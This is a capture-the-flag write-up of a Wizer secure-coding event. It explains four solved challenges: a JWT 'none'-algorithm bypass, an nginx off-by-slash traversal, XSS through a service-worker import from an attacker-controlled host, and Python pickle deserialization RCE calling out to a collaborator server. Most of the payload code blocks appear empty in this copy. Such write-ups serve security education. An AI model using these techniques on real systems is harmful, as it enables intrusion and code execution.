Wizer CTF Event 6 Hour Challenge
Start Time: 4 February 2024, 10 AM Eastern Time
End Time: 4 February 2024, 4 PM Eastern Time
CTF URL: https://sam.wizer-ctf.com/?id=cdn_5ubd0m41n
This CTF focuses on secure coding, we are given the source code for each challenge to analyse.
Challenges
JWT Authentication
This app will check if the token
parameter is present in the request body's JSON data.
If token
is present it will Verify the JWT token.
Reference for JSON web tokens (JWTs): https://portswigger.net/web-security/jwt
It support all JWT algorithms including NONE
to verify JWT token, so we can bypass the verification using NONE
as algorithm. It will accept tokens that have no signature at all.
Then it will check if {"access":"flag"}
is present in jwt payload data.
A JWT consists of 3 parts: a header, a payload, and a signature. These are each base64 encoded and separated by a dot.
now we create jwt token with HEADER (ALGORITHM & TOKEN TYPE): {"typ":"JWT","alg":"NONE"}
and PAYLOAD (DATA): {"access":"flag"}
with blank SIGNATURE.
Payload:
Nginx Configuration
Through the Shelldon Cooper's flag game website, with the following nginx configuration, get the flag from
flag.html
At first, I didn't really know what to do, so I used the CTF Ninja Technique. I googled "nginx configuration ctf" and came across the "off-by-slash" vulnerability.
When a Nginx directive does not end with a slash, it is possible to traverse one step up. This incorrect configuration could allow an attacker to read file stored outside the target folder.
Here the location /assets
don't have the trailing slash, so we can read the files in it's parent folder
Nginx alias directive defines a replacement for the specified location. Here /assets
is alias of /usr/share/nginx/html/assets/
.
so /assets../flag.html
will become /usr/share/nginx/html/assets/../flag.html
and it will return the contents of flag.html
.
Payload:
Recipe Book
Inject an alert("Wizer")
Url: https://events.wizer-ctf.com/
In the webpage there is a https://events.wizer-ctf.com/app.js
. when we analyse it, we notice that it will Get the "mode" and "color" GET parameters from url and assign it to modeParam
and colorParam
Then it will set document.getElementById("mode").children[0].id = modeParam;
and
document.getElementById(modeParam).textContent = colorParam;
Here if we put GET parameter mode=sw
then we can control the value of const sw
it will be what we give in GET parameter color
.
explanation:
Parameter Retrieval:
modeParam = searchParams.get('mode')
:Stores the value of the query parameter named
mode
in themodeParam
variable.
colorParam = searchParams.get("color")
:Similarly, retrieves the value of the
color
parameter and stores it incolorParam
.
Element Updates:
document.getElementById("mode").children[0].id = modeParam;
:Finds the element with the ID "mode" and targets its first child element.
Sets the id attribute of the child element to the value of
modeParam
.
document.getElementById(modeParam).textContent = colorParam;
:Uses the value of
modeParam
to look up an element by its IDSets the textContent of that element to the value of
colorParam
.
Service Worker Registration:
sw = document.getElementById('sw').innerText;
:Retrieves the innerText (text content) of the element with the ID "sw".
Stores the retrieved content in the
sw
variable.
https://events.wizer-ctf.com/sw.js?sw=
have the following code
It will import the serviceWorker from the value of sw
since we can control it we can import our own serviceWorker with sw=\\atacker.com/sw.js
.
This will get the file from https://atacker.com/sw.js
now to craft our serviceWorker take a look at this
this will listen for message event on BroadcastChannel('recipebook') and it will alert the message
property of a message.
BroadcastChannel enables communication between different windows, tabs, or workers within the same origin. postMessage() method will trigger the 'message' event on other instances of the BroadcastChannel with the same name.
so in serviceWorker we create a new BroadcastChannel instance using the same name ('recipebook'):
const channel = new BroadcastChannel('recipebook');
Use the postMessage() method on the BroadcastChannel instance to send a message with a message property:
channel.postMessage({ message: 'Wizer' });
serviceWorker payload:
upload this file publicaly on internet: https://aftab700.pythonanywhere.com/api/xss
Payload:
Profile Page
Get the flag and submit it here (https://dsw3qg.wizer-ctf.com/submit_flag/) to win the challenge! (profile page: https://dsw3qg.wizer-ctf.com/profile)
Here if GET parameter load_object
is present it will pass it to pickle.loads(base64.b64decode(load_object))
.
pickle.loads()
is used to unpickle (deserialize) the data and takes a variable containing byte stream as a valid argument.
It is vulnerable to pickle insecure deserialization.
To exploit this vulnerability, we will use __reduce__
method.
__reduce__
allows you to define a custom way to reconstruct the object during deserialization. It can be used for execution of arbitrary code during deserialization
I wasted so much time on payload making because i was using os.system
but it didn't work at last subprocess.Popen
worked.
[!NOTE] It won't work because
os.system
method uses respective shell of the Operating system that it is running on so foros.system
to work during Deserialization we need to Serialize the payload on the machine that matches the target OS. Here target is running Linux so Windows won’t work
python exploit code:
Request to collaborator:
Payload:
made it to the top 10 😊
:octocat: Happy Hacking :octocat:
Last updated
Was this helpful?